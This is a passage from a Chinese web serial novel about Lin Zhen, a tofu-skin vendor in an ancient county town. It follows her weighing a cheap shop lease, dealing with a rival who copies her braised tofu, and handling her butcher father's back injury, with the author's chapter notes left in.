躲在墙根儿小半天,肉没捞着一口,可肉香都闻了个饱,这不跟那巡栏口中的神仙日子对上了吗? 可他瞧见林家兄弟几个俱在,他敢往里头凑。 好容易碰着落单的真姐儿,话还没说几句呢,又教人打断了。 现在更好,他这屠户姐夫直接上门威胁起人来了。真真是富贵了,瞧不上人了! 陆富贵心中多有怨言,可一句话也不敢说。 这林屠户生得高大,干得又是杀猪这行当。 血见得多了,身上自有一股子煞气,瞧着当真不好惹,他着实不敢多言。 == 另一头,照常在县里擺摊的林真也得了隔壁福源斋小伙计递的消息。 “林娘子,这头那姓王的巡栏不是个好的,现已被打发往别處去了。林大掌櫃亲自与江攒典说的,这人往后便不会凑到您跟前来了。” 嗯?王巡栏? 自从上回打她亲事的主意不成后,这人都许久没往她跟前凑了,怎会突然说起这人?且言语之间,还做足了暗示: 晓得这人与你不对付,我们掌柜的已出手帮你摆平了。 林真笑着与小伙计寒暄几句,顺势吹捧了一下林掌櫃,言语间一副十分感激的模样。 这时候可不能露出一点儿’此事与我无关‘的苗头来,若是教小夥计这样混在中间的人有误会,反会生事。 可林真也没打算揭过此事,这种事必要问个明白。不然,万一是有人打着她的名头来搞事,会坏了她好不容易才经营起来的关系。 必得去找当事人弄个明白,决不能就此含混过去。 林真心里暗暗懊恼:人,果然不能干坏事儿。 她今儿一早去给她屠户爹’添堵‘,这不,转头自个儿就遇着了烦心事。 心里虽添了事儿,可林真面上没带出来。 来買腐竹豆干的妇人娘子或是顽笑几句或是讨要些添头,她也不恼,照样笑盈盈。 早早收拾了摊子,将东西往巡栏那棚子里一放,压下两枚铜子。脚步匆匆,连垫肚子的饼子都顾不得買,转身就要去寻林福。 “林娘子留步。”老巡栏从棚子里出来,叫住林真。 “老朽有几乎话与你说,坐下来吃盏子茶水罢。” 林真皱眉,才要推辞,又听得那老巡栏对那年轻些的巡栏道。 “守哥儿,将铜子退与这位娘子。你也认认人,往后这位娘子来此处寄存家夥什便不肖收錢。” 嗯?这称呼,林真立在原地,不动弹了。 “这是我孫子,刚巧,王巡栏办事出了些差池,教打发回去守肉行那处。我这孫子运道好,便顶了此处的差事儿。”老巡栏缓缓道。 林真眉一挑,得,当事人自个儿找来了,她不必跑了。 “成,讨您老一盏子茶吃。” “老头子借着林娘子的东风将那王巡栏打发走,便很該请你吃盏子好茶。”老巡栏人老成精,本就有意留意着林真,自是晓得該如何与她打交道。 开门见山,一句废话都没有,直接承认了自己做的事。 “林娘子不必忧心,那姓王的办事本就不讲究,已是惹下好些怨言,我使些力气,再请林掌柜言语几句,便将那姓王的打发回老地方去了。老头子也晓得这事办得不地道,是以,便另想了法子给林娘子赔罪。” 老巡栏快言快语,压根不用林真搭话。 阐述事件经过+强调结果+道歉+提出补偿一气呵成,教林真还怪惊讶的。 果然,能在此处当巡栏,还又将自家孙子拉扯进来的人,可真不是省油的(登)灯。 “我家在慈溪县多年,虽只是最底层的胥吏,可也是能得几分灵通消息的。我那小女婿是个庄宅牙人,他手头整好有间抢手的鋪子要赁出去,长兴坊打头的门脸鋪子,走几步便是主街。林娘子若是要赁,牙钱不说,那铺子一月只收你两贯钱,半年一缴,如何?” 这还问如何? 林真听见了自己心动的声音,她端起凉茶喝了一口,镇定道:“这样好的铺子作何如此价廉?可是有甚缘由?” 这老登精得很,林真可不敢全然相信他的话—— 作者有话说:明天休息哦^-^ 第38章 鋪子, 林真当然是想过的。 特别是每每被疾风骤雨袭击,整个人和竹筐子一块儿缩在大青伞下时,瞧着鋪子里安安生生坐着的掌柜们, 就很是羡慕。 可慈溪縣内的正经鋪子,最是便宜的那种,一月也要賃个八百钱。这个价位,还只能賃到偏远清冷的地头上去。 而老巡栏口中的长興坊, 与興福坊相隔不远, 住户自然頗有家底;且那鋪子又临近主街, 那真真是好地方,人流量极大,只要東西不差,不愁没生意。 可那样的好地方, 便是窄小些的铺子,一月賃个两三貫是不成问题的, 且人还要一年起賃, 有些傲气的, 要三年。 可从没听过谁家是半年起赁的,林真如何能不心动? 可越是如此便越发显得可疑。 这样好的地方, 这老巡栏会松手给自己? 他大可拿这铺子去打通其他人的路子, 谁赁了这个铺子, 都得承他的情。用来给自个儿赔罪? 不是林真妄自菲薄, 可属实是有些浪费了。 “林娘子是聪明人,我也不瞒你。老头子瞧着林大掌柜对娘子很有几分不同, 那林大掌柜可是林家当前数一数二的大掌柜,很得主家看重。此次算是沾着你的光在林掌柜跟前露了个脸,往后, 若是我那小女婿得用,还情您美言几句。” 老巡栏三言两语道明自个儿的目的,见林真面无异色,又继续道。 “至于那铺子的赁钱为何这样低,其中確有缘由。” 一番交谈后,林真听明白了。 这铺子的主家近年来頗有些不顺,家里的营生出了許多波折,不得不缩减些許,留些资金周转。 从前那样的规模是铺不开了,如此一来,手上便有几间铺子要往外赁。 可主家并不想将那样好的铺子赁给财大气粗的商家,就怕以后不好收回来。 这赁铺子的人选便只往小生意人中间去找,且人还有一个要求。 来赁铺子的人要看属相,赁钱倒是其次,最最要紧的是:绝对不能与主家相衝。 “林娘子放心,您的属相与主家不相衝。且晓得你与林掌柜相识,主家必是愿意的。”老巡栏老神在在,很是有把握。 若不是十拿九稳的事儿,他也不会来与林真说。 “您实在,我也与您说句准话。我在此處支攤子,缴的稅钱和赁钱您晓得的,若是往那头去,有了固定铺面,便不算浮铺攤子,这稅钱可大不一样。若是生意不好,怕还不如在这头支攤子呢。” 林真所言,半真半假。 她现在经营的这几样東西,估摸着一日进账在一千二百文左右。可里头丰乐楼和朱掌柜那头的进账占了一半,再有马娘子和林茂安又占去一股。 支摊子的收入,约莫在六百文左右。若是那铺子不似老巡栏所说,她开铺子便是白给官府多缴税,自己忙活一同,实则比支摊子多赚不了几个钱。 老巡栏也不知信没信,只点点头道:“林娘子若是不急着家去,不妨现就与老头子去长興坊转转。你瞧一瞧,若是瞧得上,咱们再说。” 林真眉头一挑,这么有自信,还真有好事儿落在自个儿头上不成? “成,劳您带路,咱一道去瞧瞧。”林真当即应下,赁不赁的再说,去看一眼也没甚坏處。 == “这铺子虽没带小院,是个大通间,可里头没隔断,面积也不算小,瞧着就敞亮。” 老巡栏的小女婿姓許,早早便等在此處,见岳父领了一位年纪颇轻的小娘子来瞧铺子,心里虽有几分惊讶,可面上一点儿不带出来。 当即摸钥匙开锁,引着人往里头细看。人业务甚是熟练,一张嘴便晓得是个能说会道的。 “您瞧瞧,铺子里有些年头了,瞧着有些陈旧,可您往泥瓦作请个匠人来,墙面重新一抹,柱子甚的再漆一道,再请木匠来打个货架,那瞧着是又亮堂又齐整。若是您家的货物种类少些,还能教木匠做个隔间出来歇息。这些个改动,主家都是允了的。” 林真跟着許经纪转悠一圈儿,脑子里都快要把铺子的陈设布置想出来了。 不不不,住脑! “您再随我到外头来瞧瞧。”许经纪又引着林真往外走,他指着铺子门口的那块空地道,“您瞧,这还可以打个棚子出来,往外头支张长桌便是一个小摊儿。” 林真左右瞧瞧,確实,这里头的的店家都是如此行事。 “您再往这头走几步。”许经纪引着人左行几步,面上有些自豪。 “往这头一拐便是主街,您在这面墙上开一扇窗出来,正对着主街,再挂个亮眼些的招幌,何愁没有生意。” 许经纪发动致命一击。 林真,林真着实招架不住。 这铺子是真好啊。 就这么几步,她已经想好要賣些甚了! “许经纪,这铺子你能给我留多久?我晓得只要半年赁钱已是主家仁义,可不瞒您说,家里才打了井,又要一口气湊出十二貫钱来,着实有些不湊手。” 林真坦坦荡荡。 “您若是能拖一拖,许个五日时间来,我定然能拿下这个铺子。” “这……”许经纪皱眉,这铺子这样好,即便主家挑剔些,可一旦放出消息去,何愁没人赁。他又瞧了瞧岳父一眼,想到这年轻小娘子与林大掌柜颇有几分交情,咬咬牙。 “林娘子,这铺子您也瞧见了,是不愁赁的。三天,我最多只能给您拖上三天时间。” “成!”林真点头,又冲着老巡栏道,“三天后,若是我没凑出钱来,这铺子你们尽管往外赁。可无论如何,我都承您的情,前事一笔勾销,咱往后打交道的日子还长着呢!” 有这句话,老巡栏和许经纪心里都松了一口气。 倆人心里同时暗叹:这林娘子年纪不大,可行事好生敞亮,难怪能得林大掌柜青眼。 事情商谈妥当,林真便与老巡栏一道回去拿家伙什,也不晓得賀景等多久了。 哎,这时候有啥全凭口信儿,遇上突发事件很是不便,怀念手机了。 一去,賀景果真等着了。 老巡栏那孙儿多会来事儿,将一人一驴都照顾得多是妥当。领着人歇在棚子里,她家的大毛呢,拴在树荫下,甩着尾巴还怪悠闲的。 冲这,林真都要领老巡栏的情。 林真冲爷孙组合的倆巡栏道谢,与贺景一同离去,先去找马娘子记下隔日的拿货量,这才家去。 “今儿来相帮的族人可来了?干活儿可利索?” “来了,人是有文叔帮着介绍的,有田大哥很是舍得下力气,今儿还想给咱家扫牲口棚呢!好容易才教我拦下来了。” 两人一路说话,便不觉着路远天热。 回家歇一口气,又是一通忙活。 等日斜时分,霞光万丈,天上的云朵被染成绚丽的橙紫色时,林家院儿里摆桌子吃饭。 此时,是林家最闲适的时光。 意味着今日的活计忙完了,能歇着,一家子多在这时候说说话,讲一讲今日见闻。 “今日兴福坊的老巡栏给我介绍了一處铺子,我有意赁下来,腐竹豆干可賣,爹也可在那处杀猪賣肉。”林真先将铺子的情况介绍了一番。 “那铺子要一口气缴半年的赁钱,要十二貫,咱家才打了井,一时间,还真是凑不出恁多钱来。” 苗娘子很是震惊:半年十二贯,那,一月就要两贯钱了!乖乖,从前只晓得在縣里开铺子挣钱,还不晓得这赁钱如此多呢! 林屠户在肉行许久,从前也是动过赁铺子的心思的,他晓得行情,倒是没被这铺子的赁钱唬住,他只担心一件事。 “真姐儿,这卖肉自然还是肉行那头好。人人买肉都晓得往那头去,这专专盤个门脸铺子来卖肉,不晓得生意如何。若是不成,只卖腐竹豆干那些的,税钱一缴,怕是还不如支摊子来得赚。” “爹,您说到点子上了。”林真先赞,又细细说来。 “那铺子在长兴坊,临近主街,往来人群和住户都不少。且还有一层好处,长兴坊的位置,离县里东西两处肉行都不算近,这便是咱们在那头开肉铺子的好处了。” 见众人都听进去了,林真又道。 “肉行您待过,不是我说,有些摊主实在不讲究,那里头的气味着实不算好闻。咱家人手少,总不能耗两人在县里吧?搁在一处售卖,一人就能支应开,顶多上午客多的时候,留下一人帮忙。” 肉行自然有肉行的好,自带精准引流。 可那一处全是卖肉的,打堆堆做生意,又都是一样的货。同行相争,少不得纷争,林屠户虽不怕。可林真嫌麻烦,实在不想往那头去。 林屠户皱眉思索一番,点点头:“若那铺子真是那样好,这生意确实能做。你手头有多少钱,爹这头能出……” “咱能出五贯钱并三百个铜子。”苗娘子接过话头。 “恁多?”林家父女倆同时惊呼。家里进来办事可不少,苗娘子还能存下恁多钱来? “咱家多是真姐儿往屋子里搬东西,我这头不就能存下钱来?”苗娘子并不居功。 林真一下子笑了:“这可好,账上还有四贯多钱,再有三日,这十二贯钱一定能凑出来。” 听林真这样一说,一家子多欢喜。 特别是林屠户,今儿从陆富贵那头晓得王巡栏在作怪,心里本不大痛快,可现在却一点儿不见恼。他有个好女儿,苗娘子和贺景也是好的,一家子和和睦睦便是兴家之兆。 这都要往长兴坊盤铺子去了。 林屠户便不去想这王巡栏又是打的甚算盘了。 这人已沦落到使唤从前瞧都不瞧一眼的陆富贵给他添堵。嘁,已是没招了。 “对了,爹,今儿沈猎户家可是来寻你了?是不是想跟着您学杀猪手艺?你心中是个甚打算,说来听听?”—— 作者有话说:来了来了,休息了一天 感受到读者宝宝们的热情,拖延症被治好了[笑哭] 第39章 “爹, 您说林屠戶到底是个甚打算?” 沈山平眉头紧皱,有些着急,他一急, 便显凶相。 “平日里瞧着是个爽快人,怎这时候没个准话。” “大山!怎么说话的?”沈猎戶脸一黑,低声喝道。 “爹,我说话是着急了些。”沈山平语气软下来, 又嘟囔道, “可咱家将话都说明白了, 行是不行,林屠戶好歹给个准话嘛。我当猎戶也没甚不好的,作甚非要改行当屠户去?” “就你这急躁性子,在山里讨生活, 你是有几条命?”沈猎户又骂,“你老子我, 老了!跟在你后头给你擦屁股的日子还能有多久?你一个人进山, 遲早要把小命交代在里头!” 沈山平不说话了, 他低着头,任他爹骂。 “咱家跟林屠户家无亲无故的, 人凭啥要将这赚钱手藝教给你?拜师学藝, 没有水磨的功夫哪能成?这才头一回你就受不了了?再说了, 是咱家先前行事不定, 没早早与人处下些交情来,现瞧着人要张罗殺猪的事儿才巴巴湊上前去, 林屠户没一口回绝已是万幸。” 说到这儿,沈猎户也是叹气,他这想头不是一天两天了。 打从林屠户回村后, 就在打这个主意了。可那时才要去找林屠户,就传出林家姐儿要招赘的消息来。 那时候湊上去,他怕林屠户要说招赘之事,便不大敢去。 他家香火不旺,只有大山一个儿子,可不能舍出去与人当上门婿。 后头林家姐儿成亲后,林家那女婿高大,干活儿又賣力气。打柴担水样样都做,一日挑个十来担水的也不见他喊累。 沈猎户又打住了上林家的步子。 他不晓得林屠户会不会将手艺传给自家女婿。 扪心自问,若是有人寻他学射猎本事,他也更愿意教自家人,而不是一个外姓人。 又等啊等的,瞧着林屠户似乎没打算教自家那上门女婿殺猪手艺,沈家这才下定决心,带着厚礼上门。 也实在是等不得了,林屠户已张罗着要在家里杀猪賣肉了。 这时候再不去,等人自个儿将营生张罗起来才往前凑,那成什么样子? 再没有这样办事的。 请客去一回,今儿又去一回。 今日话说得更透了,可林屠听了却将话题岔开去。 儿子急躁,沈猎户却不急,这才哪儿到哪呢?冬日里上山猎狐时,若是差几分运道,一等便等个十来天也是有的。 就像他训斥儿子的那话:水磨功夫先做到位了,才能说往后呢。 “你小子将脾气给我收一收!”沈猎户继续道,“此事是咱自家凑上去的,成与不成都怨不得林屠户。若是不成,那是你小子没教人瞧上,咱再想想别的法子,可不能生怨!” 沈猎户疾言厉色,沈山平恁高一个汉子,也只能低头听训,只敢小声嘟囔。 “我又不是那样的人……” 沈猎户只当听不见。 自家儿子他瞧着自然是个好的,可别人瞧着却不一定。若是能拜林屠户为师,换了营生,不再干这随时会出事儿的行当,那自然千好万好;若是不能,借着此事壓壓大山的性子也是好的。 == “爹,您到底是个甚意思,说来听听嘛!”林真有贺景这眼线在,早晓得今日沈家父子又携礼上门之事。 她估摸着她爹是有几分意动的,要不然,沈家即便是想送东西,他爹也绝不会教这东西进门。 林屠户眼神在林真和贺景身上打转,嘴里轻哼道:“你这消息倒是灵通。” 可他嘴角却是微微翘着的:闺女儿和大景处得好,他高興着咧! “这有甚?咱们一家子難不成还要藏着掖着的,有事儿说事儿,都大大方方的嘛!”林真相当理直气壮。 一个屋檐下生活,難不成还要猜来猜去的?藏着忍着,那结果必然是怨着。 这样不好,她上辈子十来岁才到父母身边生活。那时就是这样客气又生分,那种压抑的气氛,她宁愿长久的住校,也不樂意回去。 长大后,回去的时候更少了。 偶尔夜深人静缠绵病榻时,她也会觉得孤独。 这辈子沾了原身的光,运道好,有一个不错的爹、不错的丈夫、不错的家人…… 她很满意,也很欢喜,自然要小心维护着这一切。 “您快说说,一人计短两人计长,咱这好些人呢!定然能给您出出主意。”林真催促。 “沈家与咱家一样,都是沾了杀生的手艺,人丁不旺。沈家也只有一个儿子,我瞧那小子的体格倒是不错,他自小跟着沈猎户进山,剥皮放血、开膛……” 林屠户瞧着睁大眼睛听得认真的燕儿,生生咽下口中的话。 “总之,他有些底子在身上,跟着我学杀猪上手快。沈猎户是个稳当人,沈家这些年也没传出甚不好的话来,可我还是想多瞧瞧。爹这个年纪了,若收下他,他便是我唯一的徒弟,我得多看看。” 林真点头,说来说去,还是从前看走眼了,心里有所顧忌。 “成,您多瞧瞧也好。若是个好的,您有个得力的帮手,咱家往后也多户人家走动。” 这时候的师徒名分不一般,两家还住得这样近,往后必定是要常走动的。林真很明白她爹心里的顧虑,晓得她爹有这个意思,便没有出言催促。 == 翌日,林真照旧去興福坊內支攤子。 可她有些奇怪,今日的鹵豆干似乎不大好賣?且今日来的客人似乎对鹵豆干挑剔了许多? 林真有心打探一二,可今日来摆攤的只她一人,还真不好走开,便只能按捺下来与人周旋。 不多会儿,王柘气冲冲地来到林真攤子上。 “林娘子,你摊子上的鹵豆干我都给包圆儿了!” 林真觉着王柘落在鹵豆干上的眼睛在冒火,不像是要買豆干来吃,更像是泄愤。 “您包圆儿了我自然是高興的,可我这摊子上还有十来方呢!您家中没办宴,自家買恁多可吃不完的,放的不新鲜了,您这舌头可要受委屈了。”林真顽笑道。 王柘却道:“我哪里会委屈,委屈的明明是林娘子!也怪我不好,话多,不然,哪能教林娘子受这委屈。” 林真奇怪:“这是怎么说的?我怎越听越糊涂了?” “你还不晓得?”王柘惊讶,可瞧见林真孤身一人他便了然,想来是还没抽得出身去打听消息。他一想,更气了,忿忿不平道。 “坊內賣爊鹅那家好不要脸!竟也学你製了这鹵豆干来卖!不就是欺负你一个势单力薄的年轻娘子嘛!” 林真睁大眼,难怪今日她这头的鹵豆干卖不动。那鋪子位置好,味儿也好,若是也卖鹵豆干,她的生意确实会受些影响。 可她倒没那么生气,这东西没甚技术壁垒,只要她製出来买,跟风者遲早会有。 “您就为这生气啊?不值当,迟早的事儿麽。您也不必生愧,更不必将我这摊子上的鹵豆干都包圆儿。这头卖不动,沿街叫卖便是了。”林真早有预感,反而没那么生气,出言勸慰王柘。 “哎呀!话不是这么说的,我自家做生意,还能不晓得这些道麽?只是他家忒不讲究,便是要学你制鹵豆干来卖,他一个正经的吃食鋪子,学丰樂楼卖冷盘不是更好?作何要整个儿售卖?且价还定得与你一样?他家那豆干是从豆腐坊内买的,如此定价,可赚不了几个钱的!还不是为着恶心人!” 王柘气得跳脚。 林真眉一皱,如此行事,倒确实有几分故意挤兑她的意思。 啧,好生小气的店家,难不成还以为她制鹵豆干是学了他家行事? 王柘不顾林真勸阻,执意买走了摊子上剩下的鹵豆干。 隔壁福源斋的小伙计也来劝,言语间还暗示她可以找林福帮忙。 林真谢过小伙计,摇摇头:“这有甚?做生意哪有不经些波折的,些许小事,很不必打扰福管事。” 不多会儿,老巡栏也踱步过来,林真照旧寒暄几句,教他放心,最要紧的是:那铺子可一定要留着。 今日是林屠户来接她,昨日贺景已经去瞧过长兴坊的铺子了,今日换他爹去瞧瞧。 可她屠户爹来的时候却没那么高兴。 一问,果然也是晓得卖爊鹅那家在卖鹵豆干,心里担忧。 “爹,我给您算算帐,我每日在兴福坊内卖的两种豆干约莫能得二百来文,可我每日进账有个六百来文,可见大头是出在腐竹上。”借着林家雅集和丰乐楼的东风,林真每日能卖出去十来把腐竹。 腐竹,才是家里赚钱的王牌产品。 见林屠户听进去了,她又继续道。 “咱家卖腐竹已然能赚钱,制了豆干来卖,那是纯赚,是以定价才略低些,可卖爊鹅那家的豆干是买来的,这样定价可赚不了几个钱,他家这价迟早要往上提。随意提价,这可是做生意的大忌。再说了,咱家不是要往长兴坊开铺子去吗?更不必与他家置气,只是在这要用钱的当口上出这事儿确实教人心烦,可苗娘子持家有方,咱手里的缺口没这么大,朱掌柜那头的生意好,茂安哥和马娘子的生意也不会受影响,今儿入账一贯三百文,又攒下一笔,那铺子咱定然能拿下来的!” 跟她屠户爹就没甚好隐瞒的,林真将帐一一算给林屠户听,也是宽慰她屠户爹,教他不必忧心。 这种事儿往后定然还能遇见,实在没必要生气。 前世恁多’康帅傅‘’大白免‘的,她见得多了,一点儿不意外。 做生意嘛,要紧的是口碑、创新和持。久战,她压根儿不虚。只希望家里人也放平心态,不受影响。 可哪晓得,因着这事儿,到底还是生了波折—— 作者有话说:居然忘记祝大家节日快乐了 现在补上[烟花][烟花][烟花] 另外:以后尽量固定在18:00更新^-^ 第40章 三日之约的第二日, 林真摊子上的鹵豆幹确实是不好賣了。 腐竹一賣完,她幹脆将家伙什都收去老巡欄那棚子里放着,自个儿背着个竹筐子, 打算沿街叫卖去。 路线她都打听清楚了,沿着興福坊往长興坊走,这些地头上住的多是些手中有些闲钱的人家,定是能卖出去。 只不过要多费些功夫, 盯着烈日要辛苦些。 可不想, 才与老巡欄打过招呼, 一脸急色的林茂安便一头撞过来。 “真姐儿,快,上車来。咱去惠民坊請个大夫来,二叔傷着腰了!” “什么?”林真一惊, 扔下竹筐转身便跑,“茂安哥, 城內不让車马急行, 我跑着去还快些。你往城门口去等我便是!” “哎!”林茂安着急, 刚想追,在一旁听了个全乎的老巡栏站出来拦住他。 “后生, 听你妹子的, 你牵着驴子在城內可跑不赢人的两条腿。你将東西给你妹子收拾好, 去城门口等她, 接了大夫快快出城去才是上策。” 林茂安一想,也对, 他连惠民坊往哪头走都不晓得,还是听真姐儿的话早早去城门口等着才不会与她错开,不然, 这时候追出去,寻不着人了,不是白白耽搁时间吗? “多谢老丈!” 道谢后,林茂安依言将林真的東西收拾好,便牵着驴車往城门口去。 “爷,林家这是出事儿了?那长兴坊的铺子?”老巡栏的孙儿见自家爷爷盯着远去的林茂安瞧了许久,湊近些,小声发问。 “咱得讲信义,三日之约已过半,最多再拖上一日,咱等得起。”老巡栏背着手,先敲打孙儿,又细细教导。 “这林家娘子虽年輕,可却稳得住。如此境况之下不止没慌了心神,还做出最恰当的安排,是个能人。不到万不得已,咱可别得罪了她。” 别人的议论林真暂且管不得,她一路飞奔,鬓发已乱,一头冲进濟世堂,抓着药童便问。 “您家擅跌打损傷的大夫是哪位?劳烦陪我走一趟枣儿村,驴车已在外候着了,还請快些。家里人急得很,也不晓得是不是傷着了骨头,劳烦大夫将器具熟药甚的都帶上。” 林茂安到城门口的时候,没等一会儿,就瞧见拽着大夫一路小跑的林真。 “真姐儿,这儿,快来!”他跳起来使劲儿招手。 兄妹俩帶着大夫出城后便是一路疾行,林真死死抓着板车,实在不敢在这时候出言幹扰驾车的林茂安。 只能按捺住心中的焦急,祈祷驴车快些,快些,再快些。 好容易挨到了家,一把推开院门,拉着大夫直奔林屠戶跟前。 林屠戶俯趴在床榻上,唇面惨白,血色全无,额上沁出大颗大颗的汗珠子。 “爹,你怎的了?傷了何处,教大夫好生看看。”林真瞧见,心里实实在在落了一拍:别是伤到脊柱了! “怎,怎还请了大夫来?我没事儿,只是,閃到腰罢了。”林屠户疼的睡不着,瞧见闺女儿一副天都塌了的样子,又喘了一口气,出言安慰。 “真姐儿,莫,莫怕。” 林真不听,她赶紧扯了大夫到跟前来,央道:“劳烦您老给好生瞧瞧。” “小娘子莫怕,你且往外头等一等,留这年輕后生在里头就成。”濟世堂的大夫教林真扯着也并不生气,反是出言宽慰,“老朽要解了伤者衣裳摸摸骨头,你在此处,帮不上忙的。” 老大夫一边说一边揭开药箱子,脉枕银针一样样摆开来,他说话做事不疾不徐,自带一股子安抚人心的效果。 林真听进去了,看了一眼在屋子里的贺景,冲他道:“我就在外头,有甚事儿便唤我。” 贺景点头:“你放心。” 掩上房门,林真站在门外,徐徐呼出一口气,一阵儿風拂过,她冷得一激灵,这才惊覺奔走之间出了一身的汗。 “真姐儿,来,你先回屋子里稍稍擦把脸,再换身幹爽衣裳。出了如此多的汗,还穿着湿衣裳,教風一吹最易伤风。我在这头候着呢,有甚事儿定然唤你的,你要是在这时候病了,家里可真没个主心骨了。”苗娘子端了热水来,出言劝道。 额前落下一缕头发来,林真随手往后一梳,晓得自个儿现在这样子定然分外狼狈。她没推辞,谢过苗娘子,回屋换衣裳去了。 再出来时,整好瞧见贺景伸了个脑袋出来:“别忧心,大夫说没伤着骨头,内里也没损伤,是閃了腰。” 他又将门开了一条缝儿,小声道:“”大夫正施针呢,说是先止住痛,教爹能好生睡一覺。” 贺景言语一声,又轻手轻脚将门掩上。瞧着大夫指尖银光微闪,整个人大气也不敢出。 有了这句话,林真这才放下心来,脱力般一屁股坐在木墩子上。 “爹这是怎了?好生生的,如何会伤了腰。” 苗娘子也是松了一口气,晓得林屠户没大碍了,便忍不住告状。 “今儿你前脚走,后脚就有个大柳村/村人上门来请他去杀猪。那人言语间很有些躲闪,你爹本不愿去,可那人说八十六个杀猪钱,不用肉抵扣,一个子儿都不少。他一听,也顾不得恁许多,收拾了东西便跟着走了,劝都劝不住!可他迟迟不归家,还是大景觉着不对,赶着驴车沿着道一路找过去。在半道儿上找着他,蹲在草丛里,已然是走不动了!” 苗娘子说起来还有些心慌,抚了抚心口叹道:“多亏了大景在家。” 歇了一口气,还没等林真说话,苗娘子继续告状:“你说说你爹,死犟!家来大景就要去请大夫,可他拦着不让。怕气着他再有个好歹,我只好悄摸使唤燕儿去寻茂安帮忙。” “爹,不乖!”跟在一旁的燕儿赶紧抓住机会告状,同时又仰头求表扬,“我乖!” “是,咱燕儿真乖!传话厉害,话说得这样清楚,茂安哥还晓得喊我去惠民坊寻大夫哩!”林真摸摸小孩的头,“姐姐回头给你买好吃的。” 燕儿摇摇头:“不用,攒钱呢!” 林真心里一疼:“咱家哪里就缺钱缺到这个地步了?爹也是,若是手中银钱不湊手,那铺子不赁就是了,咱还能被一个铺子吊死不成?为着这事儿,明明晓得不妥,还去与那过河拆迁的人家做事!” 林真鼻子发酸,忙低下头来,胡乱抹了一把脸。 林屠户平日里很是谨慎,若是遇着这样言辞闪烁一瞧就有鬼的人家,他定然不会接这单生意的。这会如此冒失是为着甚? 还不是为着那铺子,他这才以身犯险。 她是不是做错了? “真姐儿,爹睡着了。”贺景出来,“你在家守着,我送大夫回城去,抓了药再家来。” 林真连忙凑上前去:“大夫,我爹没大碍罢?” “力尽内挫,损及膂力,不算甚大伤。施针三日,贴几剂膏药,吃两副药,好好躺几天便能好个大半。只是往后,可别这样不惜力气干重活儿了,伤在腰上,可大可小,往后啊,最好不要久站。” 老大夫打量着这家人有几分家底的样子,便摸着胡须交代道。 施针一次八十文,膏药六贴七十二文,两副药一百八十文。济世堂的大夫没要甚车马费,药价诊费甚的也实在,可这回,照样去了半贯钱。 “爹醒来,我去跟他好生说。那铺子咱不赁了,咱家有手艺在身,不愁攒不下钱来,往后必定还有好的!”林真宣布放弃。 虽然这是个顶顶好的机会,可她并不想将一家子逼得这样紧。 一下子将手里的前掏空了,这心里压力不是一般的大。 她上辈子见多了花X、借X,身上还背着房贷,自是不觉得有甚。可与家里人不一样,俱是大半辈子勤勤恳恳没欠过账的。 她又一次,忽略了他们的承受能力。 “咱还像先前那样,留一部分钱在手里应急,再攒些钱来慢慢修葺屋子,日子照样过得有滋有味。”林真最后总结。 “真不赁了啊?”苗娘子小声问,前儿真姐儿回来时那股子高兴劲儿,瞧着对那铺子可上心得很。 这,说不赁就不赁了? “不赁了。”林真点头,语气坚定。 “好了,好了。爹睡着了,咱不打扰他。燕儿在门口守着,爹若是醒来,你就喊我们,能做到不?” “能!”燕儿点头,当即搬了个小杌子守在门口。 “娘子打起精神来,茂安哥和我带着大夫一路家来,待会儿必定有客上门探望。咱要煮些茶汤待客,若有交好的人家送东西来,咱接下就是。整好今儿鹵豆干没卖完,就用鹵豆干来回礼罢,也不算浪费了。”林真瞧着苗娘子颇有几分担忧,干脆直接安排人做事。 忙起来。忙起来就不会想恁多了。 村人果然陆陆续续上门探望,林真与苗娘子一同待客也不算忙。好不容易招待完了,贺景带着药家来。 林家院儿里照常飘起豆香味,只不过今日多了一丝苦味。 院儿里就地垒了个小土灶,寻一只干净的土陶罐子来,就在院子里小火熬药,一家子还要忙着制腐竹和豆干。 兴福坊内的鹵豆干受影响,可腐竹和别处的豆干照样好卖,他们手里的活计不算少。 恰在此时,已被栓上的大门又被拍响。 “谁啊?”林真先招呼一声,停下手里的活计去开门。心里奇怪,怎这时候还有人来? “我!沈山平。”粗声粗气地声儿在门外响起—— 作者有话说:感谢宝子们的评论、营养液和投雷[红心][粉心][黄心][橙心][绿心] 另外:明天休息哦^-^《 》 40-50 第41章 “不, 我是来找你的。”沈山平摇头。 “啊?”林真一时间还没反应过来,手中一重,已被塞了一个包袱。 “作甚?”这触感, 这沉手劲儿,怎如此熟悉? “你家现不是缺錢使吗?我给你凑了三貫錢来。”沈山平很是得意,“这是我私下存的咧!我爹都不晓得。” 他又从背篓里提溜出一只野山雞来:“这才是我爹交代我带来的礼,你给炖了, 教林屠戶好好補補身子。” 他又轉了轉头打量林家的院子:“你家雞窝子在何处?这东西虽剪过翅羽, 可它有劲儿着咧, 喙和爪子又利,可别将你叨出血来。” “等等,等等!沈家大哥,你手上这野山鸡我咬咬牙还能收, 可这个!”林真将裹了铜錢的包袱一股脑塞回去,“我可万万不能收!” 私房錢?咱倆很熟麽?咱倆家关系很好麽?林真内心是真搞不懂这沈山平是如何想的。 “嗯?你不是缺钱使?”沈山平疑惑, “我今儿上午来, 恰巧听见你家里的说话声儿……” 眼看林真眼神不大对劲儿, 沈山平着急起来:“我可不是听墙角!是你家院门没关严实,你声儿又大, 我耳朵好使得很, 这才听见了!” 不是, 重点是这个嘛? “沈家大哥, 你的心意我心领了。可咱俩家非亲非故的,我是缺银钱, 可又是救急,怎能拿你的钱去使。这钱,你还是收回去罢。”林家若是缺钱救人甚的, 这钱接也就接了。 可家里缺钱是要赁鋪子,她可干不出借朋友钱财来做生意的事儿。 “嗯?我晓得你是要赁鋪子的,这有甚差别嘛?不就是手里银钱一时不凑手了?你又不是还不起,先拿去用,之后还我便是。”沈山平想了想,脑子一动。 “咦?你是不是怕我借你钱后,要趁机强迫林屠戶教我杀豬的手艺?哼!我且告诉你,我沈山平不是那样的人。” 他一着急,声儿又有些大。贺景趕忙从院子里奔出来,手里还拎着他劈柴的铁斧。 “咦,贺兄弟,你劈柴呢!”沈山平打招呼,同时将手里的山鸡塞给贺景,“整好,你给关好了。我就不进去了,我爹不教我打扰林屠戶休息咧!” 他转身就要走,林真趕紧使唤一脸疑惑的贺景将人给拦住,好不容易才将人扯进院儿里。 林真一把将门闩好。 “这是做啥嘛?我急着回家吃饭咧,我爹还等着我呢!”沈山平嘟囔道。 林真是看出来,这人还真是一根筋儿,且借钱的心实在是实诚。 “沈大哥,我且问你,你家近来可有甚用钱的事?” 沈山平摇头。 